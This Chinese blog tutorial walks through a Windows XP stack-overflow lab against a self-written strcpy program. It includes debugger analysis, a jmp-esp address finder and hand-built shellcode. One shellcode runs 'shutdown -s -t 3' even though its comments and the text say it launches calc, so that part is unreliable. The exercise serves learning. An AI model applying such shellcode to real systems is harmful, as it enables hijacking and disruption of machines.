Windows栈溢出练习

1. 实验环境

  • 操作系统:Windows XP系统 SP3
  • IDE:Microsoft VC++6.0

2. 实验步骤

0x01.C程序编写

先使用危险函数编写一个简单的C程序并生成32位的exe文件

#include<stdio.h>
#include<string.h>

char name[] = "hello";

int main() {
	char buffer[8];
	strcpy(buffer, name);
	printf("%s\n", buffer);
	getchar();
	return 0;
}

0x02.溢出分析

先拖入IDA找到C语言程序的入口函数并记录其地址
image
双击点击_main_0进行跟进,即可看到C的main函数起始地址
image

; 函数调用前的操作
push ebp	; 先把当前函数的栈底ebp压入栈中
mov ebp, esp	; 为调用的函数分配新的栈底
sub esp, 4c		; 抬高栈顶esp指针,实际就是为当前函数分配局部变量空间

进入OD直接在0x00401010F2下断点,并按F9开始运行程序进行
image
到地址0x0040102D时可以看下C语言中的调用strcpy函数在汇编语言的实现过程
image

push offset name ;将hello的变量地址压入栈中
lea eax, [ebp - 8]	; 并将栈底开始分配8byte大小的空间,在C语言中实际上相等于声明变量char buffer[8];
push eax	;将该变量地址压入栈中
call strcpy	; 调用strcpy(buffer, name),32位操作系统调用带参函数,参数从右往左先后压入栈中,再用call调用带参函数

strcpy函数执行完成后,可以发现在栈中地址[EBP - 8]0012FF78中内存已成功赋值为hello
image
但再仔细观察栈内存的情况,可以发现地址0012FF80为main函数的栈底ebp指针,地址0012FF84为main函数执行完后的返回地址(下一条待执行指令的地址),如果能将栈地址为0012FF84内的返回地址改为我们执行shellcode代码的地址,则就可以执行shellcode。

如上图,目前栈中esp指针所指的内容为00401699,即程序接下来要执行指令的内存地址,可先观察正常情况。
image

由于汇编中RETN指令的作用是从栈中pop出之前调用函数“call指令的下一条指令的内存地址”,故程序会跳回地址为00401699并执行该地址所指的指令;若代码中的name变量改为下列所示,即buffer只能存储8个字节,但此时name中包含17个字节,那经过strcpy函数拷贝后,栈内存又会发生什么变化。

//char name[] = "hello";	// old
char name[] = "HelloReverseWorld";	// new

image
编译后运行会报错误弹窗,而地址0x6c726f57从右往左按照ASCII翻译过来是Worl,错误内容表示“该内存不能read”是因为该地址是一个无效地址,即EIP指针已指向该地址,但该地址内无内容,具体使用OD分析会更加形象
image
image
image

直接来到执行完strcpy函数后,可以发现返回地址0012FF84和main函数的ebp地址0012FF80的内容全都被覆盖了,继续往下走,走到指令RETN后,也不难发现,返回的地址就是被覆盖的内容6C726F57,即RETN完后,会从栈中将该地址pop出来,并跳转到该地址指向指令,但该指令明显是个无效地址,所以OD的CPU窗口会跳转到空界面,并且会报错。

​ 故整理下栈溢出漏洞利用的逻辑:

  1. 找出包含栈溢出漏洞的代码,并确定返回地址;
  2. 确定需要其他几个函数调用的内存地址;
  3. 编写汇编代码,并提取shellcode;

0x03.定位溢出点

上次调试可以发现控制返回地址的是Worl这四个字符,不过可以再全部改为以下字符串,进行确定:

char name[] = "HelloReverseADDR";

确定合适的地址有很多种方法,例如找出指令jmp espcall ecx等等的机器码以及对应的地址,由于机器编码都是固定的,但每台系统的机器码所对应的地址可能不同,故需要根据机器码找出对应的地址即可(但实际上现在都开启了地址随机化)
其中运行程序时会自动载入kernel32.dll,故从该动态链接库中找jmp esp最为方便

// SearchJmpEspInUser32.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	bool done_flag = FALSE;
	//载入kernel.dll
	handle = LoadLibrary("kernel32.dll"); 
	if(!handle){
		printf("load dll error!");
		exit(0);
	}
	ptr = (BYTE*)handle;
	for(position = 0; !done_flag; position++){
		try{
			//jmp esp语句的机器码为 FFE4,所以这里要这么写;
			if(ptr[position]==0xFF && ptr[position+1]==0xE4){
				int address = (int)ptr+position;
				printf("opcode found at 0x%x\n",address);
			}
		}
		catch(...){
			int address = (int)ptr+position;
			printf("end of 0x%x\n",address);
			done_flag=true;
		}
	}
	getchar();
	return 0;
}

编译运行上述代码,可得到所有机器码jmp esp的地址,随便选择一个即可,本次实验选择0x7c874413作为覆盖返回地址的地址。
image

除了jmp esp指令,还需要获取以下函数的内存地址:

  • LoadLibrary函数,在kernel32.dll动态链接库中,用于导入其他动态链接库;
  • system函数,在msvcrt.dll动态链接库中,用于执行系统命令;
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef void (*MYPROC) (LPTSTR); //定义一个函数指针,指向函数的参数是字符串,返回值是空


void SearchSystemInMsvcrt() {
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("msvcrt.dll");  // 加载msvcrt.dll 这个动态链接库,句柄赋给LibHandle
    ProcAdd = (MYPROC)  GetProcAddress (LibHandle, "system");  //获得system的真实地址,之后再使用这个真实地址来调用system函数,ProcAdd存的是system函数的地址
    printf("system addr = 0x%x\n", ProcAdd);
}

void SearchLoadLibrary() {
	HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll"));
	DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW");  // LoadLibrary unicode version
	DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA");  // LoadLibrary ascii version,用这个版本
	printf("LoadLibraryA addr = 0x%x\n", addrA);
	printf("LoadLibraryW addr = 0x%x\n\n", addrW);
}

int main(){
	SearchLoadLibrary();
	SearchSystemInMsvcrt();
	getchar();
	return 0;
}

image

0x04.编写并提取shellcode


int main() {

	_asm {
		sub esp, 0x50
		xor ebx, ebx

		push ebx
		push 0x20206c6c		//push ll
		push 0x642e7472		//push rt.d
		push 0x6376736d		//push msvc
		mov ecx, esp		// 将字符串"msvcrt.dll"压入栈中
		push ecx;         

		mov eax, 0x7C801D7B	// ds:[0042B188]=7C801D7B (kernel32.LoadLibraryA)
		call eax			//  call LoadLibrary
							
		push ebx            //
		push 0x3320742d		//
		push 0x202d7320
		push 0x6e776f64
		push 0x74756873
		mov ecx, esp        //
		push ecx			// push calc
		mov eax, 0x77BF93C7 // 0x77bf93c7  ecx=77BF93C7 (msvcrt.system)
		call eax			// call system

		push ebx;
		mov eax, 0x7c81cb12
		call eax	// call ExitProcess
	}
	return 0;
}

然后通过 Microsoft Visual C++ 6.0Ollydbg进行提取shellcode
image
最终提取的shellcode如下所示

char name[] =	"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90"
		"\x13\x44\x87\x7c"        //jmp esp  0x7c874413
		"\x83\xEC\x50"            //SUB ESP,50
		"\x33\xDB"                //XOR EBX,EBX
		"\x53"                    //PUSH EBX
		"\x68\x6C\x6C\x20\x20"    //PUSH 20206C6C
		"\x68\x72\x74\x2E\x64"    //PUSH 642E7472
		"\x68\x6D\x73\x76\x63"    //PUSH 6376736D
		"\x8B\xCC"                //MOV ECX,ESP
		"\x51"                    //PUSH ECX
		"\xB8\x7B\x1D\x80\x7C"    //MOV EAX,7C801D7B
		"\xFF\xD0"                //CALL EAX
		"\x53"                    //PUSH EBX
		"\x68\x2D\x74\x20\x33"
		"\x68\x20\x2D\x73\x20"
		"\x68\x64\x6F\x77\x6E"	// down
		"\x68\x73\x68\x75\x74"
		"\x8B\xCC"                //MOV ECX,ESP
		"\x51"                    //PUSH ECX
		"\xB8\xC7\x93\xBF\x77"    //MOV EAX,77BF93C7
		"\xFF\xD0"                //CALL EAX
		"\x53"                    //PUSH EBX
		"\xB8\x12\xCB\x81\x7C"    //MOV EAX,7C81CB12
		"\xFF\xD0";               //CALL EAX

修改源程序后运行即可弹出计算机
image

顺便总结了部分可触发栈溢出的函数:

#include<stdio.h>
#include<string.h>

// strcpy函数栈溢出漏洞利用
void StrcpyOverFlow(char buffer[], char shellcode[]) {
	char content[8];
	strcat(buffer, shellcode);	// 连接buffer和shellcode
	strcpy(content, buffer);	// 漏洞触发点
	printf("%s\n", content);
}

// strcat函数栈溢出漏洞利用
void StrcatOverFlow(char buffer[], char shellcode[]) {
	char content[8] = "Hello";
	strcat(buffer, shellcode);	// 连接buffer和shellcode
	strcat(content, buffer);	// 漏洞触发点
	printf("%s\n", content);
}

// sprintf函数栈溢出漏洞利用
void SprintfOverFlow(char buffer[], char shellcode[]) {
	char content[8];
	strcat(buffer, shellcode);	// 连接buffer和shellcode
	sprintf(content, "%s", buffer);	// 漏洞触发点
	printf("%s\n", content);
}


int main() {
	char buffer1[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";	// strcpy专用buffer
	char buffer2[] ="\x90\x90\x90\x90\x90\x90\x90";		// strcat专用buffer
	char buffer3[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // sprintf专用buffer
	char shellcode[] =	"\x13\x44\x87\x7c"		   //jmp esp  0x7c874413
				"\x83\xEC\x50"            //SUB ESP,50	抬高栈顶指针,保证shellcode的完整性
				"\x33\xDB"                //XOR EBX,EBX
				"\x53"                    //PUSH EBX
				"\x68\x6C\x6C\x20\x20"    //PUSH 20206C6C	压入ll
				"\x68\x72\x74\x2E\x64"    //PUSH 642E7472	压入rt.d
				"\x68\x6D\x73\x76\x63"    //PUSH 6376736D	压入msvc
				"\x8B\xCC"                //MOV ECX,ESP 连接字符串msvcrt.dll
				"\x51"                    //PUSH ECX	将字符串msvcrt.dll压入栈中
				"\xB8\x7B\x1D\x80\x7C"    
				"\xFF\xD0"                //LoadLibrary("msvcrt.dll")
				"\x53"                    //PUSH EBX
				"\x68\x63\x61\x6c\x63"	  //PUSH CALC,机器码是正常顺序,汇编是从后往前
				"\x8B\xCC"                //MOV ECX,ESP
				"\x51"                    //PUSH ECX
				"\xB8\xC7\x93\xBF\x77"    
				"\xFF\xD0"                //CALL SYSTEM()
				"\x53"                    //PUSH EBX
				"\xB8\x12\xCB\x81\x7C"    
				"\xFF\xD0";               //CALL ExitProcess()
	
	//StrcpyOverFlow(buffer1, shellcode);
	//StrcatOverFlow(buffer2, shellcode);
	//SprintfOverFlow(buffer3, shellcode);
	char name[8];
	gets(name);
	printf("%s", name);
	return 0;
}

posted @ 2023-03-27 10:30  mlins  阅读(140)  评论(0编辑  收藏  举报